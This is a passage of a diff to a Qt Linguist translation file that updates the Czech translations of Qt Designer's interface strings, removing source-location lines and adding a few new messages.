<source>Down</source>
<translation>Dolů</translation>
</message>
@@ -4642,52 +3887,42 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::EmbeddedOptionsControl</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/embeddedoptionspage.cpp" line="-260"/>
<source>None</source>
<translation>Žádný</translation>
</message>
<message>
- <location line="+4"/>
<source>Add a profile</source>
<translation>Přidat profil</translation>
</message>
<message>
- <location line="+6"/>
<source>Edit the selected profile</source>
<translation>Upravit vybraný profil</translation>
</message>
<message>
- <location line="+4"/>
<source>Delete the selected profile</source>
<translation>Smazat vybraný profil</translation>
</message>
<message>
- <location line="+22"/>
<source>Add Profile</source>
<translation>Přidat profil</translation>
</message>
<message>
- <location line="+7"/>
<source>New profile</source>
<translation>Nový profil</translation>
</message>
<message>
- <location line="+35"/>
<source>Edit Profile</source>
<translation>Upravit profil</translation>
</message>
<message>
- <location line="+26"/>
<source>Delete Profile</source>
<translation>Smazat profil</translation>
</message>
<message>
- <location line="+1"/>
<source>Would you like to delete the profile &apos;%1&apos;?</source>
<translation>Chcete smazat profil &apos;%1&apos;?</translation>
</message>
<message>
- <location line="+55"/>
<source>Default</source>
<translation>Výchozí</translation>
</message>
@@ -4695,20 +3930,25 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::FilterWidget</name>
<message>
- <location filename="../tools/designer/src/lib/shared/filterwidget.cpp" line="+185"/>
<source>&lt;Filter&gt;</source>
- <translation>&lt;FIltr&gt;</translation>
+ <translation type="obsolete">&lt;FIltr&gt;</translation>
+ </message>
+ <message>
+ <source>Filter</source>
+ <translation>Filtr</translation>
+ </message>
+ <message>
+ <source>Clear text</source>
+ <translation>Smazat text</translation>
</message>
</context>
<context>
<name>qdesigner_internal::FormEditor</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/formeditor.cpp" line="+190"/>
<source>Resource File Changed</source>
<translation>Zdrojový soubor byl změněn</translation>
</message>
<message>
- <location line="+1"/>
<source>The file &quot;%1&quot; has changed outside Designer. Do you want to reload it?</source>
<translation>Zdrojový soubor &quot;%1&quot; byl změněn mimo program Designer. Chcete jej znovu nahrát?</translation>
</message>
@@ -4716,7 +3956,6 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::FormLayoutMenu</name>
<message>
- <location filename="../tools/designer/src/lib/shared/formlayoutmenu.cpp" line="+24"/>
<source>Add form layout row...</source>
<translation>Přidat řádek s rozvržením formuláře...</translation>
</message>
@@ -4724,44 +3963,34 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::FormWindow</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/formwindow.cpp" line="-1267"/>
<source>Edit contents</source>
<translation>Upravit obsah</translation>
</message>
<message>
- <location line="+1"/>
<source>F2</source>
<translation>F2</translation>
</message>
<message>
- <location line="+841"/>
<source>Resize</source>
<translation>Změnit velikost</translation>
</message>
<message>
- <location line="+218"/>
- <location line="+15"/>
<source>Key Move</source>
<translation>Posunout s pomocí klávesnice</translation>
</message>
<message>
- <location line="+276"/>
<source>Paste error</source>
<translation>Chyba při vložení</translation>
</message>
<message>
- <location line="+445"/>
<source>Lay out</source>
<translation>Rozvržení</translation>
</message>
<message>
- <location line="+493"/>
- <location line="+55"/>
<source>Drop widget</source>
<translation>Vložit prvek</translation>
</message>
<message numerus="yes">
- <location line="-1058"/>
<source>Paste %n action(s)</source>
<translation>
<numerusform>Vložit jednu činnost</numerusform>
@@ -4770,12 +3999,14 @@ Chcete tuto předlohu přepsat?</translation>
</translation>
</message>
<message>
- <location line="-511"/>
<source>Insert widget &apos;%1&apos;</source>
<translation>Vložit prvek &apos;%1&apos;</translation>
</message>
+ <message>
+ <source>Key Resize</source>
+ <translation>Změnit velikost pomocí klávesnice</translation>
+ </message>
<message numerus="yes">
- <location line="+513"/>
<source>Paste %n widget(s)</source>
<translation>
<numerusform>Vložit jeden prvek</numerusform>
@@ -4784,37 +4015,30 @@ Chcete tuto předlohu přepsat?</translation>
</translation>
</message>
<message>
- <location line="+1"/>
<source>Paste (%1 widgets, %2 actions)</source>
<translation>Vložit (%1 prvky, %2 činnosti)</translation>
</message>
<message>
- <location line="+56"/>
<source>Cannot paste widgets. Designer could not find a container without a layout to paste into.</source>
<translation>Prvky nelze vložit, protože se nepodařilo nalézt kontejner, který již nemá rozvržení.</translation>
</message>
<message>
- <location line="+2"/>
<source>Break the layout of the container you want to paste into, select this container and then paste again.</source>
<translation>Zrušte, prosím, rozvržení kontejneru, do kterého chcete vkládat. Vyberte jej znovu a proveďte vložení znovu.</translation>
</message>
<message>
- <location line="+408"/>
<source>Select Ancestor</source>
<translation>Vybrat nadřazený prvek</translation>
</message>
<message>
- <location line="+576"/>
<source>A QMainWindow-based form does not contain a central widget.</source>
<translation>Formulář založený na QMainWindow neobsahuje ústřední prvek.</translation>
</message>
<message>
- <location line="-797"/>
<source>Raise widgets</source>
<translation>Přenést prvky do popředí</translation>
</message>
<message>
- <location line="+17"/>
<source>Lower widgets</source>
<translation>Přenést prvky do pozadí</translation>
</message>
@@ -4822,12 +4046,10 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::FormWindowBase</name>
<message>
- <location filename="../tools/designer/src/lib/shared/formwindowbase.cpp" line="+393"/>
<source>Delete</source>
<translation>Smazat</translation>
</message>
<message>
- <location line="+0"/>
<source>Delete &apos;%1&apos;</source>
<translation>Smazat &apos;%1&apos;</translation>
</message>
@@ -4835,200 +4057,159 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::FormWindowManager</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/formwindowmanager.cpp" line="+364"/>
<source>Cu&amp;t</source>
<translation>Vyj&amp;mout</translation>
</message>
<message>
- <location line="+3"/>
<source>Cuts the selected widgets and puts them on the clipboard</source>
<translation>Vyjme vybrané prvky a odloží je do schránky</translation>
</message>
<message>
- <location line="+5"/>
<source>&amp;Copy</source>
<translation>&amp;Kopírovat</translation>
</message>
<message>
- <location line="+3"/>
<source>Copies the selected widgets to the clipboard</source>
<translation>Zkopíruje vybrané prvky do schránky</translation>
</message>
<message>
- <location line="+5"/>
<source>&amp;Paste</source>
<translation>&amp;Vložit</translation>
</message>
<message>
- <location line="+3"/>
<source>Pastes the clipboard&apos;s contents</source>
<translation>Vloží obsah schránky</translation>
</message>
<message>
- <location line="+5"/>
<source>&amp;Delete</source>
<translation>&amp;Smazat</translation>
</message>
<message>
- <location line="+2"/>
<source>Deletes the selected widgets</source>
<translation>Smaže vybrané prvky</translation>
</message>
<message>
- <location line="+5"/>
<source>Select &amp;All</source>
<translation>Vybrat &amp;vše</translation>
</message>
<message>
- <location line="+3"/>
<source>Selects all widgets</source>
<translation>Vybere všechny prvky</translation>
</message>
<message>
- <location line="+5"/>
<source>Bring to &amp;Front</source>
<translation>Přenést do &amp;popředí</translation>
</message>
<message>
- <location line="+3"/>
- <location line="+1"/>
<source>Raises the selected widgets</source>
<translation>Přenese vybrané prvky do popředí</translation>
</message>
<message>
- <location line="+4"/>
<source>Send to &amp;Back</source>
<translation>Přenést do po&amp;zadí</translation>
</message>
<message>
- <location line="+3"/>
- <location line="+1"/>
<source>Lowers the selected widgets</source>
<translation>Přenese vybrané prvky do pozadí</translation>
</message>
<message>
- <location line="+4"/>
<source>Adjust &amp;Size</source>
<translation>Přizpůsobit &amp;velikost</translation>
</message>
<message>
- <location line="+3"/>
<source>Adjusts the size of the selected widget</source>
<translation>Spočítá velikost vybraného prvku z rozvržení a přizpůsobí velikost prvku</translation>
</message>
<message>
- <location line="+6"/>
<source>Lay Out &amp;Horizontally</source>
<translation>Uspořádat předměty &amp;vodorovně</translation>
</message>
<message>
- <location line="+3"/>
<source>Lays out the selected widgets horizontally</source>
<translation>Uspořádá vybrané předměty vodorovně</translation>
</message>
<message>
- <location line="+6"/>
<source>Lay Out &amp;Vertically</source>
<translation>Uspořádat předměty &amp;svisle</translation>
</message>
<message>
- <location line="+3"/>
<source>Lays out the selected widgets vertically</source>
<translation>Uspořádá vybrané předměty svisle</translation>
</message>
<message>
- <location line="+17"/>
<source>Lay Out in a &amp;Grid</source>
<translation>Uspořádat předměty &amp;tabulkově</translation>
</message>
<message>
- <location line="+3"/>
<source>Lays out the selected widgets in a grid</source>
<translation>Uspořádá vybrané předměty tabulkově</translation>
</message>
<message>
- <location line="+7"/>
<source>Lay Out Horizontally in S&amp;plitter</source>
<translation>Uspořádat předměty vodorovně okolo &amp;dělící příčky</translation>
</message>
<message>
- <location line="+3"/>
<source>Lays out the selected widgets horizontally in a splitter</source>
<translation>Uspořádá vybrané předměty vodorovně okolo dělící příčky</translation>
</message>
<message>
- <location line="+7"/>
<source>Lay Out Vertically in Sp&amp;litter</source>
<translation>Uspořádat předměty svisle okolo dě&amp;lící příčky</translation>
</message>
<message>
- <location line="+3"/>
<source>Lays out the selected widgets vertically in a splitter</source>
<translation>Uspořádá vybrané předměty svisle okolo dělící příčky</translation>
</message>
<message>
- <location line="+7"/>
<source>&amp;Break Layout</source>
<translation>&amp;Zrušit rozvržení</translation>
</message>
<message>
- <location line="+3"/>
<source>Breaks the selected layout</source>
<translation>Zruší vybrané rozvržení</translation>
</message>
<message>
- <location line="+13"/>
<source>&amp;Preview...</source>
<translation>&amp;Náhled...</translation>
</message>
<message>
- <location line="+2"/>
<source>Preview current form</source>
<translation>Náhled nynějšího formuláře</translation>
</message>
<message>
- <location line="+15"/>
<source>Form &amp;Settings...</source>
<translation>&amp;Nastavení formuláře...</translation>
</message>
<message>
- <location line="+92"/>
<source>Break Layout</source>
<translation>Zrušit rozvržení</translation>
</message>
<message>
- <location line="+26"/>
<source>Adjust Size</source>
<translation>Přizpůsobit velikost</translation>
</message>
<message>
- <location line="+43"/>
<source>Could not create form preview</source>
<comment>Title of warning message box</comment>
<translation>Nepodařilo se vytvořit náhled formuláře</translation>
</message>
<message>
- <location line="+341"/>
<source>Form Settings - %1</source>
<translation>Nastavení formuláře - %1</translation>
</message>
<message>
- <location line="-525"/>
<source>Removes empty columns and rows</source>
<translation>Odstraní prázdné řádky a sloupce</translation>
</message>
<message>
- <location line="-50"/>
<source>Lay Out in a &amp;Form Layout</source>
<translation>Uspořádat předměty v &amp;rozvržení formuláře</translation>
</message>
<message>
- <location line="+3"/>
<source>Lays out the selected widgets in a form layout</source>
<translation>Uspořádá vybrané předměty v dvousloupcovém rozvržení formuláře</translation>
</message>
<message>
- <location line="+45"/>
<source>Si&amp;mplify Grid Layout</source>
<translation>Z&amp;jednodušit tabulkové rozvržení</translation>
</message>
@@ -5036,12 +4217,10 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::FormWindowSettings</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/formwindowsettings.cpp" line="+193"/>
<source>None</source>
<translation>Žádný</translation>
</message>
<message>
- <location line="+1"/>
<source>Device Profile: %1</source>
<translation>Profil zařízení: %1</translation>
</message>
@@ -5049,37 +4228,30 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::GridPanel</name>
<message>
- <location filename="../tools/designer/src/lib/shared/gridpanel.ui"/>
<source>Visible</source>
<translation>Viditelný</translation>
</message>
<message>
- <location/>
<source>Snap</source>
<translation>Zapadnout</translation>
</message>
<message>
- <location/>
<source>Reset</source>
<translation>Nastavit znovu</translation>
</message>
<message>
- <location/>
<source>Form</source>
<translation>Formulář</translation>
</message>
<message>
- <location/>
<source>Grid</source>
<translation>Mřížka</translation>
</message>
<message>
- <location/>
<source>Grid &amp;X</source>
<translation>Mřížka &amp;x</translation>
</message>
<message>
- <location/>
<source>Grid &amp;Y</source>
<translation>Mřížka &amp;y</translation>
</message>
@@ -5087,7 +4259,6 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::GroupBoxTaskMenu</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/groupbox_taskmenu.cpp" line="+82"/>
<source>Change title...</source>
<translation>Změnit název...</translation>
</message>
@@ -5095,7 +4266,6 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::HtmlTextEdit</name>
<message>
- <location filename="../tools/designer/src/lib/shared/richtexteditor.cpp" line="-58"/>
<source>Insert HTML entity</source>
<translation>Vložit HTML znak</translation>
</message>
@@ -5103,92 +4273,74 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::IconSelector</name>
<message>
- <location filename="../tools/designer/src/lib/shared/iconselector.cpp" line="-24"/>
<source>The pixmap file &apos;%1&apos; cannot be read.</source>
<translation>Soubor s pixmapou &apos;%1&apos; nelze přečíst.</translation>
</message>
<message>
- <location line="+6"/>
<source>The file &apos;%1&apos; does not appear to be a valid pixmap file: %2</source>
<translation>Soubor &apos;%1&apos; není platným souborem s pixmapou: %2</translation>
</message>
<message>
- <location line="+9"/>
<source>The file &apos;%1&apos; could not be read: %2</source>
<translation>Soubor %1 se nepodařilo přečít: %2</translation>
</message>
<message>
- <location line="+40"/>
<source>Pixmap Read Error</source>
<translation>Chyba při čtení pixmapy</translation>
</message>
<message>
- <location line="+54"/>
<source>...</source>
<translation>...</translation>
</message>
<message>
- <location line="+6"/>
<source>Normal Off</source>
<translation>Obvyklé, vypnuto</translation>
</message>
<message>
- <location line="+1"/>
<source>Normal On</source>
<translation>Obvyklé, zapnuto</translation>
</message>
<message>
- <location line="+1"/>
<source>Disabled Off</source>
<translation>Zakázáno, vypnuto</translation>
</message>
<message>
- <location line="+1"/>
<source>Disabled On</source>
<translation>Zakázáno, zapnuto</translation>
</message>
<message>
- <location line="+1"/>
<source>Active Off</source>
<translation>V činnosti, vypnuto</translation>
</message>
<message>
- <location line="+1"/>
<source>Active On</source>
<translation>V činnosti, zapnuto</translation>
</message>
<message>
- <location line="+1"/>
<source>Selected Off</source>
<translation>Vybráno, vypnuto</translation>
</message>
<message>
- <location line="+1"/>
<source>Selected On</source>
<translation>Vybráno, zapnuto</translation>
</message>
<message>
- <location line="+8"/>
<source>Choose Resource...</source>
<translation>Vybrat zdroj...</translation>
</message>
<message>
- <location line="+1"/>
<source>Choose File...</source>
<translation>Vybrat soubor...</translation>
</message>
<message>
- <location line="+1"/>
<source>Reset</source>
<translation>Nastavit znovu</translation>
</message>
<message>
- <location line="+1"/>
<source>Reset All</source>
<translation>Nastavit znovu vše</translation>
</message>
<message>
- <location line="-85"/>
<source>Choose a Pixmap</source>
<translation>Vybrat pixmapu</translation>
</message>
@@ -5196,58 +4348,46 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::ItemListEditor</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/itemlisteditor.cpp" line="+358"/>
<source>Properties &amp;&lt;&lt;</source>
<translation>Vlastnosti &amp;&lt;&lt;</translation>
</message>
<message>
- <location filename="../tools/designer/src/components/taskmenu/itemlisteditor.ui"/>
- <location filename="../tools/designer/src/components/taskmenu/itemlisteditor.cpp" line="+2"/>
<source>Properties &amp;&gt;&gt;</source>
<translation>Vlastnosti &amp;&gt;&gt;</translation>
</message>
<message>
- <location/>
<source>Items List</source>
<translation>Seznam prvků</translation>
</message>
<message>
- <location/>
<source>New Item</source>
<translation>Nový prvek</translation>
</message>
<message>
- <location/>
<source>&amp;New</source>
<translation>&amp;Nový</translation>
</message>
<message>
- <location/>
<source>Delete Item</source>
<translation>Smazat prvek</translation>
</message>
<message>
- <location/>
<source>&amp;Delete</source>
<translation>&amp;Smazat</translation>
</message>
<message>
- <location/>
<source>Move Item Up</source>
<translation>Posunout prvek nahoru</translation>
</message>
<message>
- <location/>
<source>U</source>
<translation>U</translation>
</message>
<message>
- <location/>
<source>Move Item Down</source>
<translation>Posunout prvek dolů</translation>
</message>
<message>
- <location/>
<source>D</source>
<translation>D</translation>
</message>
@@ -5255,12 +4395,10 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::LabelTaskMenu</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/label_taskmenu.cpp" line="+85"/>
<source>Change rich text...</source>
<translation>Změnit upravovatelný text...</translation>
</message>
<message>
- <location line="+1"/>
<source>Change plain text...</source>
<translation>Změnit prostý text...</translation>
</message>
@@ -5268,7 +4406,6 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::LanguageResourceDialog</name>
<message>
- <location filename="../tools/designer/src/lib/shared/iconselector.cpp" line="-258"/>
<source>Choose Resource</source>
<translation>Vybrat zdroj</translation>
</message>
@@ -5276,7 +4413,6 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::LineEditTaskMenu</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/lineedit_taskmenu.cpp" line="+80"/>
<source>Change text...</source>
<translation>Změnit text...</translation>
</message>
@@ -5284,17 +4420,14 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::ListWidgetEditor</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/listwidgeteditor.cpp" line="+101"/>
<source>Edit List Widget</source>
<translation>Upravit seznam prvků</translation>
</message>
<message>
- <location line="+19"/>
<source>Edit Combobox</source>
<translation>Upravit skupinovou krabici</translation>
</message>
<message>
- <location line="-51"/>
<source>New Item</source>
<translation>Nový prvek</translation>
</message>
@@ -5302,12 +4435,10 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::ListWidgetTaskMenu</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/listwidget_taskmenu.cpp" line="+67"/>
<source>Edit Items...</source>
<translation>Upravit prvky...</translation>
</message>
<message>
- <location line="+38"/>
<source>Change List Contents</source>
<translation>Změnit obsah seznamu</translation>
</message>
@@ -5315,22 +4446,18 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::MdiContainerWidgetTaskMenu</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/containerwidget_taskmenu.cpp" line="+118"/>
<source>Next Subwindow</source>
<translation>Další podokno</translation>
</message>
<message>
- <location line="+1"/>
<source>Previous Subwindow</source>
<translation>Předchozí podokno</translation>
</message>
<message>
- <location line="+1"/>
<source>Tile</source>
<translation>Uspořádat jedno vedle druhého</translation>
</message>
<message>
- <location line="+1"/>
<source>Cascade</source>
<translation>Překrývat</translation>
</message>
@@ -5338,7 +4465,6 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::MenuTaskMenu</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/menutaskmenu.cpp" line="+56"/>
<source>Remove</source>
<translation>Odstranit</translation>
</message>
@@ -5346,7 +4472,6 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::MorphMenu</name>
<message>
- <location filename="../tools/designer/src/lib/shared/morphmenu.cpp" line="+264"/>
<source>Morph into</source>
<translation>Přeměnit prvek na</translation>
</message>
@@ -5354,42 +4479,34 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::NewActionDialog</name>
<message>
- <location filename="../tools/designer/src/lib/shared/newactiondialog.ui"/>
<source>New Action...</source>
<translation>Nová činnost...</translation>
</message>
<message>
- <location/>
<source>&amp;Text:</source>
<translation>&amp;Text:</translation>
</message>
<message>
- <location/>
<source>Shortcut:</source>
<translation>Klávesová zkratka:</translation>
</message>
<message>
- <location/>
<source>Checkable:</source>
<translation>Zaškrtnutelná:</translation>
</message>
<message>
- <location/>
<source>ToolTip:</source>
<translation>Rada k nástroji:</translation>
</message>
<message>
- <location/>
<source>...</source>
<translation>...</translation>
</message>
<message>
- <location/>
<source>&amp;Icon:</source>
<translation>&amp;Ikona:</translation>
</message>
<message>
- <location/>
<source>Object &amp;name:</source>
<translation>&amp;Název předmětu:</translation>
</message>
@@ -5397,41 +4514,34 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::NewDynamicPropertyDialog</name>
<message>
- <location filename="../tools/designer/src/components/propertyeditor/newdynamicpropertydialog.cpp" line="+134"/>
<source>Set Property Name</source>
<translation>Nastavit název vlastnosti</translation>
</message>
<message>
- <location line="+11"/>
<source>The current object already has a property named &apos;%1&apos;.
Please select another, unique one.</source>
<translation>nynější předmět již má vlastnost s názvem &apos;%1&apos;.
Zvolte, prosím, jiný, jedinečný název.</translation>
</message>
<message>
- <location filename="../tools/designer/src/components/propertyeditor/newdynamicpropertydialog.ui"/>
<source>Create Dynamic Property</source>
<translation>Vytvořit dynamickou vlastnost</translation>
</message>
<message>
- <location/>
<source>Property Name</source>
<translation>Název vlastnosti</translation>
</message>
<message>
- <location/>
<source>Property Type</source>
<translation>typ vlastnosti</translation>
</message>
<message>
- <location filename="../tools/designer/src/components/propertyeditor/newdynamicpropertydialog.cpp" line="+4"/>
<source>The &apos;_q_&apos; prefix is reserved for the Qt library.
Please select another name.</source>
<translation>Předpona &apos;_q_&apos; je používána knihovnou Qt pro vnitřní účely.
Zvolte, prosím, jiný název.</translation>
</message>
<message>
- <location filename="../tools/designer/src/components/propertyeditor/newdynamicpropertydialog.ui"/>
<source>horizontalSpacer</source>
<translation>Vodorovný vymezovač</translation>
</message>
@@ -5439,83 +4549,67 @@ Zvolte, prosím, jiný název.</translation>
<context>
<name>qdesigner_internal::NewFormWidget</name>
<message>
- <location filename="../tools/designer/src/lib/shared/newformwidget.cpp" line="+104"/>
<source>Default size</source>
<translation>Výchozí velikost</translation>
</message>
<message>
- <location line="+1"/>
<source>QVGA portrait (240x320)</source>
<translation>QVGA formát na výšku (240x320)</translation>
</message>
<message>
- <location line="+1"/>
<source>QVGA landscape (320x240)</source>
<translation>QVGA formát na šířku (320x240)</translation>
</message>
<message>
- <location line="+1"/>
<source>VGA portrait (480x640)</source>
<translation>VGA formát na výšku (480x640)</translation>
</message>
<message>
- <location line="+1"/>
<source>VGA landscape (640x480)</source>
<translation>VGA formát na šířku (640x480)</translation>
</message>
<message>
- <location line="+66"/>
<source>Widgets</source>
<extracomment>New Form Dialog Categories</extracomment>
<translation>Prvky</translation>
</message>
<message>
- <location line="+1"/>
<source>Custom Widgets</source>
<translation>Uživatelsky stanovené prvky</translation>
</message>
<message>
- <location line="+18"/>
<source>None</source>
<translation>Žádný</translation>
</message>
<message>
- <location line="+57"/>
<source>Error loading form</source>
<translation>Formulář se nepodařilo nahrát</translation>
</message>
<message>
- <location line="+244"/>
<source>Unable to open the form template file &apos;%1&apos;: %2</source>
<translation>Nepodařilo se otevřít předlohu s formulářem &apos;%1&apos;: %2</translation>
</message>
<message>
- <location line="+67"/>
<source>Internal error: No template selected.</source>
<translation>Vnitřní chyba: Není vybrána žádná předloha.</translation>
</message>
<message>
- <location filename="../tools/designer/src/lib/shared/newformwidget.ui"/>
<source>0</source>
<translation>0</translation>
</message>
<message>
- <location/>
<source>Choose a template for a preview</source>
<translation>Vyberte předlohu pro náhled</translation>
</message>
<message>
- <location/>
<source>Embedded Design</source>
<translation>Vložený návrh</translation>
</message>
<message>
- <location/>
<source>Device:</source>
<translation>Zařízení:</translation>
</message>
<message>
- <location/>
<source>Screen Size:</source>
<translation>Velikost obrazovky:</translation>
</message>
@@ -5523,37 +4617,30 @@ Zvolte, prosím, jiný název.</translation>
<context>
<name>qdesigner_internal::NewPromotedClassPanel</name>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_promotiondialog.cpp" line="+92"/>
<source>Add</source>
<translation>Přidat</translation>
</message>
<message>
- <location line="+2"/>
<source>New Promoted Class</source>
<translation>Nová uživatelsky stanovená třída</translation>
</message>
<message>
- <location line="+15"/>
<source>Base class name:</source>
<translation>Název základní třídy:</translation>
</message>
<message>
- <location line="+1"/>
<source>Promoted class name:</source>
<translation>Název uživatelsky stanovené třídy:</translation>
</message>
<message>
- <location line="+1"/>
<source>Header file:</source>
<translation>Hlavičkový soubor:</translation>
</message>
<message>
- <location line="+1"/>
<source>Global include</source>
<translation>Celkový hlavičkový soubor</translation>
</message>
<message>
- <location line="+11"/>
<source>Reset</source>
<translation>Nastavit znovu</translation>
</message>
@@ -5561,12 +4648,10 @@ Zvolte, prosím, jiný název.</translation>
<context>
<name>qdesigner_internal::ObjectInspector</name>
<message>
- <location filename="../tools/designer/src/components/objectinspector/objectinspector.cpp" line="+316"/>
<source>Change Current Page</source>
<translation>Změnit nynější stranu</translation>
</message>
<message>
- <location line="+438"/>
<source>&amp;Find in Text...</source>
<translation>&amp;Najít v textu...</translation>
</message>
@@ -5581,32 +4666,26 @@ Zvolte, prosím, jiný název.</translation>
<context>
<name>qdesigner_internal::OrderDialog</name>
<message>
- <location filename="../tools/designer/src/lib/shared/orderdialog.cpp" line="+109"/>
<source>Index %1 (%2)</source>
<translation>Poloha %1 (%2)</translation>
</message>
<message>
- <location filename="../tools/designer/src/lib/shared/orderdialog.ui"/>
<source>Change Page Order</source>
<translation>Změnit pořadí stran</translation>
</message>
<message>
- <location/>
<source>Page Order</source>
<translation>Pořadí stran</translation>
</message>
<message>
- <location/>
<source>Move page up</source>
<translation>Posunout stranu nahoru</translation>
</message>
<message>
- <location/>
<source>Move page down</source>
<translation>Posunout stranu dolů</translation>
</message>
<message>
- <location filename="../tools/designer/src/lib/shared/orderdialog.cpp" line="+3"/>
<source>%1 %2</source>
<translation>%1 %2</translation>
</message>
@@ -5614,47 +4693,38 @@ Zvolte, prosím, jiný název.</translation>
<context>
<name>qdesigner_internal::PaletteEditor</name>
<message>
- <location filename="../tools/designer/src/components/propertyeditor/paletteeditor.ui"/>
<source>Edit Palette</source>
<translation>Upravit paletu</translation>
</message>
<message>
- <location/>
<source>Tune Palette</source>
<translation>Vyladit paletu</translation>
</message>
<message>
- <location/>
<source>Show Details</source>
<translation>Ukázat podrobnosti</translation>
</message>
<message>
- <location/>
<source>Compute Details</source>
<translation>Spočítat podrobnosti</translation>
</message>
<message>
- <location/>
<source>Quick</source>
<translation>Jednoduchý</translation>
</message>
<message>
- <location/>
<source>Preview</source>
<translation>Náhled</translation>
</message>
<message>
- <location/>
<source>Disabled</source>
<translation>Zakázáno</translation>
</message>
<message>
- <location/>
<source>Inactive</source>
<translation>Nečinný</translation>
</message>
<message>
- <location/>
<source>Active</source>
<translation>V činnosti</translation>
</message>
@@ -5662,7 +4732,6 @@ Zvolte, prosím, jiný název.</translation>
<context>
<name>qdesigner_internal::PaletteEditorButton</name>
<message>
- <location filename="../tools/designer/src/components/propertyeditor/paletteeditorbutton.cpp" line="+57"/>
<source>Change Palette</source>
<translation>Změnit paletu</translation>
</message>
@@ -5670,22 +4739,18 @@ Zvolte, prosím, jiný název.</translation>
<context>
<name>qdesigner_internal::PaletteModel</name>
<message>
- <location filename="../tools/designer/src/components/propertyeditor/paletteeditor.cpp" line="+374"/>
<source>Color Role</source>
<translation>Barevné kolo</translation>
</message>
<message>
- <location line="+2"/>
<source>Active</source>
<translation>V činnosti</translation>
</message>
<message>
- <location line="+2"/>
<source>Inactive</source>
<translation>Nečinný</translation>
</message>
<message>
- <location line="+2"/>
<source>Disabled</source>
<translation>Zakázáno</translation>
</message>
@@ -5693,28 +4758,22 @@ Zvolte, prosím, jiný název.</translation>
<context>
<name>qdesigner_internal::PixmapEditor</name>
<message>
- <location filename="../tools/designer/src/components/propertyeditor/designerpropertymanager.cpp" line="-1539"/>
<source>Copy Path</source>
<translation>Kopírovat cestu</translation>
</message>
<message>
- <location line="+1"/>
<source>Paste Path</source>
<translation>Vložit cestu</translation>
</message>
<message>
- <location line="-3"/>
<source>Choose Resource...</source>
<translation>Vybrat zdroj...</translation>
</message>
<message>
- <location line="+1"/>
<source>Choose File...</source>
<translation>Vybrat soubor...</translation>
</message>
<message>
- <location line="+8"/>
- <location line="+16"/>
<source>...</source>
<translation>...</translation>
</message>
@@ -5722,7 +4781,6 @@ Zvolte, prosím, jiný název.</translation>
<context>
<name>qdesigner_internal::PlainTextEditorDialog</name>
<message>
- <location filename="../tools/designer/src/lib/shared/plaintexteditor.cpp" line="+65"/>
<source>Edit text</source>
<translation>Upravit text</translation>
</message>
@@ -5730,37 +4788,38 @@ Zvolte, prosím, jiný název.</translation>
<context>
<name>qdesigner_internal::PluginDialog</name>
<message>
- <location filename="../tools/designer/src/lib/shared/plugindialog.cpp" line="+72"/>
<source>Components</source>
<translation>Součásti</translation>
</message>
<message>
- <location line="+13"/>
<source>Plugin Information</source>
<translation>Informace o přídavných modulech</translation>
</message>
<message>
- <location line="+4"/>
<source>Refresh</source>
<translation>Obnovit</translation>
</message>
<message>
- <location line="+1"/>
<source>Scan for newly installed custom widget plugins.</source>
<translation>Prohledat kvůli nově nainstalovaným přídavným modulům s uživatelsky stanovenými prvky.</translation>
</message>
<message>
- <location line="+48"/>
+ <source>Loaded Plugins</source>
+ <translation>Nahrané přídavné moduly</translation>
+ </message>
+ <message>
+ <source>Failed Plugins</source>
+ <translation>Přídavné moduly, které se nepodařilo nahrát</translation>
+ </message>
+ <message>
<source>Qt Designer couldn&apos;t find any plugins</source>
<translation>Programu Qt Designer se nepodařilo najít jakékoli přídavné moduly</translation>
</message>
<message>
- <location line="+3"/>
<source>Qt Designer found the following plugins</source>
<translation>Programu Qt Designer se podařilo najít následující přídavné moduly</translation>
</message>
<message>
- <location line="+55"/>
<source>New custom widget plugins have been found.</source>
<translation>Byly nalezeny nové přídavné moduly s uživatelsky stanovenými prvky.</translation>
</message>
@@ -5768,7 +4827,6 @@ Zvolte, prosím, jiný název.</translation>
<context>
<name>qdesigner_internal::PreviewActionGroup</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/previewactiongroup.cpp" line="+95"/>
<source>%1 Style</source>
<translation>%1-Styl</translation>
</message>
@@ -5776,47 +4834,38 @@ Zvolte, prosím, jiný název.</translation>
<context>
